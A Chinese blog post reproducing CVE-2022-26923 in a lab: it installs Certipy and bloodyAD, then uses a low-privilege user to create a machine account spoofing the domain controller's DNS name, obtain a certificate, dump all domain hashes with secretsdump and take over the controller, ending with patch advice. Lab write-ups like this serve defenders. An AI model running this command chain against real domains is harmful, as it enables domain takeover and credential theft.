前言

Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户的数据信息进行管理。

AD CS (Active Directory Certipy Server)是允许你构建公钥基础机构 (PKI) 并为你的组织提供公钥加密、数字证书和数字签名功能的服务器角色。

漏洞影响范围

Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022

环境搭建

kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144

windows server 2012网络配置,这里想改计算机全名但是忘记了,如果要好记得名字,可以安装域前先改掉

这里用到了windows server 2012的环境,首先搭建windows server 2012的AD域服务和域服务证书,这里安装步骤除了勾选的地方其他默认下一步

点击提升域控制,添加新林,然后下一步还原密码后安装重启

ADCS证书安装,添加功能,勾选AD证书服务,添加web证书颁发,开始安装

配置证书服务,在角色服务勾选证书机构和证书web注册,其他可以一直下一步,这里为了其他配置不一样的读者,就都放出来了,都一样的可以选择跳过

配置成功结果图

创建低权限AD用户,点击AD用户和计算机,点击本地域 ,查找User,双击进入,找到Administrator用户 ,点击左侧新建,新建用户

新建用户test,填写全名,输入密码,勾选其他密码选项,选择密码永不过期和不能更改密码

配置window7网络配置以及加入域,这里加入域xming.com,用户是在域控新建的test,密码是自己在域设置的密码(注:我这里只用到kali 和window server 2012就没多加win7,方便演示,想用win7的老铁可以参考以下win7配置)

kali配置

在kali需要两个工具 Certipy 和bloody

certipy配置
https://github.com/ly4k/Certipy //工具所在网址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //配置代理安装(这里我用的是proxychains4的,也可以用proxychains,如果有的话) 这里我是直接去github下载再复制到kali,就跳过第二条命令 由于我这里因为pip没装,所以我又装了pip
pip安装的步骤参考此链接:https://www.cnblogs.com/BlogVice-2203/p/17011741.html

这里我遇到的报错是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0

然后再次安装有出现报错,说没有dsinternals,又得pip install dsinternals

如果没有遇到以下报错,就直接执行成功

配置bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txt

这里报错了,需要下载一个libkrb5-dev包

apt-get install libkrb5-dev

总结一下上面bloodyAD安装
先执行apt-get install libkrb5-dev
再执行proxychains4 pip3 install -r requirements.txt看看是否有报错
如果有就使用pip install 需要的安装包(如果有需要必要的版本可以 pip install 安装包==需要的版本号) 如上图所示
最后再执行proxychains4 pip3 install -r requirements.txt会发现没有报错就是执行成功。

执行python3 bloodyAD.py -h,发现安装成功,到此环境就搭建完成了

漏洞复现

执行以下代码之前需要运行
pip3 install certipy-ad 这是我的申请CA证书的poc
certipy req -username test@xming.com -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User 然后再执行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144

创建及其账户到域

使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144 getObjectAttributes "DC=xming,DC=com" ms-DS-MachineAccountQuota
这里一开始是报错 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 为 from Cryptodome.Hash import MD4
没报错且运行出来的老铁可以不改 使用bloodyAD查看ms-DS-MachineAccountQuota属性,如果ms-DS-MachineAccountQuota>0就可以创建机器帐户

在LDAP中创建一个机器帐户,然后查看Active Directory 用户和计算机 点击computers 查看到test66是我们创建出来的机器账户

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
创建一个test66密码为jntm的机器账户

我们更新一下机器帐户的DNSHostName,但是这里出现了一个错误,我排除了一下是我们没有给DNS读取和写入的权限,勾选上两个权限,排除后重新执行就成功了

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'

python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName

我们这里就使用伪造的计算机账户进行证书申请,因为在计算机账户中,CA是使用DNSname的值来验证,如果这个值是域控的DNSname,CA就会认为是域控,这里为什么说只用计算机账户而不用用户账户(test),是因为用户账户的具有一个用户主体名称UPN(User Principal Name),UPN是具有唯一性不可变的,而计算机账户没有

根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN必须是唯一的,不能有两个具有相同UPN的用户

这里使用的是计算机账户模板(Machine),不再是User
certipy req -username test66\$@xming.com -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug 生成一个win-ue0s6a9db79.pfx
这里调了一个bug 我把kali的网关改为了192.168.33.144否则总是报错 certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144 这里如果报错KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新启动一下你的AD CS而不是重启虚拟机(可以重启但可能登陆不进去)

获取所有域中的所有hash

impacket-secretsdump 'xming.com/win-ue0s6a9db79$@xming.com' -hashes :3fa24d31749f89de0db2449ab8014c79

PTH获取域控

![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png)

总结与修复建议

总结:该漏洞是由于安装了域证书服务(AD CS),攻击者可以使用计算机账户模板(Machine)创建机器账户,更新dnsname为域控的dnsname,获取所有域hash,进一步拿到域控管理员权限

修复建议:安装微软给出的补丁 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

其中说到域证书服务和域服务可以不用安装到一台服务器,以规避风险

CVE-2022-26923 Windows域提权漏洞的更多相关文章

  1. MS14-068域提权漏洞复现

    MS14-068域提权漏洞复现 一.漏洞说明 改漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限. 微软官方解释: https://docs.microsoft.com/zh-cn ...

  2. msf利用- windows内核提权漏洞

    windows内核提权漏洞 环境: Kali Linux(攻击机) 192.168.190.141 Windows2003SP2(靶机) 192.168.190.147 0x01寻找可利用的exp 实 ...

  3. 新Windows本地提权漏洞学习(CVE-2019-0841)

    1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...

  4. Windows 10 提权漏洞复现及武器化利用

    项目地址:https://github.com/SandboxEscaper/randomrepo 相关工具的下载地址: Process Explorer:https://docs.microsoft ...

  5. ssh远程端口转发&&windows系统提权之信息收集&&网安工具分享(部分)

    一.ssh远程端口转发 背景:当我们在渗透过程中,获取到内网的一台仅有内网IP的服务器后,我们可以通过ssh隧道,将内网某个主机的端口进行远程转发 1.网络拓扑图 假设获取的服务器为web服务器,we ...

  6. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  7. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

  8. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

  9. 基于RedHat发行的Apache Tomcat本地提权漏洞

    描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...

  10. 2019-10-16,sudo提权漏洞(CVE-2019-14287)实现

    sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使 ...

随机推荐

  1. 关于Struts访问不到静态资源的问题

    今天重新配置了Struts的项目进行开发,但是项目静态资源一直访问不到. 将一些静态资源放在WebRoot下的static包下面便于管理. 一开始以为采用拦截.do,只拦截do后缀的请求,解决了静态资 ...

  2. 2022“杭电杯”中国大学生算法设计超级联赛(6)- 1011 Find different

    2022"杭电杯"中国大学生算法设计超级联赛(6)- 1011 Find different 比赛时队友开摆,还剩半个小时,怎么办?? 当然是一起摆 Solution 看到这个题没 ...

  3. HTML+CSS基础知识(6)背景的设置、表格的设计、表单的设计和框架集

    文章目录 1.背景 1.1 代码 1.2 测试结果 2.背景练习 2.1 代码 2.2 测试结果 3.表格 3.1 代码 3.2 测试结果 4.练习 4.1 代码 4.2 测试结果 5.表单 5.1 ...

  4. .Net Core - 使用事务IDbtransaction操作DBData

    New一个流程 获取数据库连接字符串,实例化SqlConnection 打来数据库连接 Begin当前连接的事务(IDbTransaction) 操作数据库(操作数据库的时候一定要使用当前连接和事务修 ...

  5. Unreal NetMode&NetRole 解析

    Version: Unreal 4.26 问题 为啥UE编辑器会有EPlayNetMode有三种让你选择. 为啥描述World 的ENetMode 会有4种,而不只是(Client/Server 2种 ...

  6. Linux---ls cd

    ls 命令 ls命令是linux下最常用的命令,是 list 的缩写,可以用各种方式查看目录中的内容. 格式: ls [选项] [目录名] 常用参数 short long function -a -- ...

  7. 【安装文档】TRex流量分析仪保姆级安装指南--基于VMware虚拟机(ubantu18.04@Intel 82545EM)

    前言 既然你已经知道TRex并尝试搜索它的安装教程,这意味着你有一定的基础知识(至少知道自己需要什么).因此本文对于TRex的介绍部分会偏少 本次主要为TRex安装过程的一次记录(版本为v3.0.0) ...

  8. 查看、校验、归档…带你掌握openGauss账本数据库

    ​摘要:账本数据库融合了区块链思想,将用户操作记录至两种历史表中:用户历史表和全局区块表. 本文分享自华为云社区<openGauss账本数据库,你不知道的那些事儿>,作者:Gauss松鼠会 ...

  9. RSA、DSA 和 ECC 加密算法有什么区别?

    RSA.DSA 和 ECC 加密算法是用于在公钥基础设施中生成密钥的主要算法. 公钥基础设施 (PKI) 用于管理互联网通信和计算机网络中的身份和安全性. 启用 PKI 的核心技术是公钥密码术,这是一 ...

  10. php统一的gocheck方法

    这半个月断断续续在学习用PHP的ThinkPHP框架开发后端API.现在总结记录一下开发一个接口需要做好哪些事,以此提高开发效率,并且也有不错的扩展性. 一.流程概要 基本是这么一个流程,略过环境搭建 ...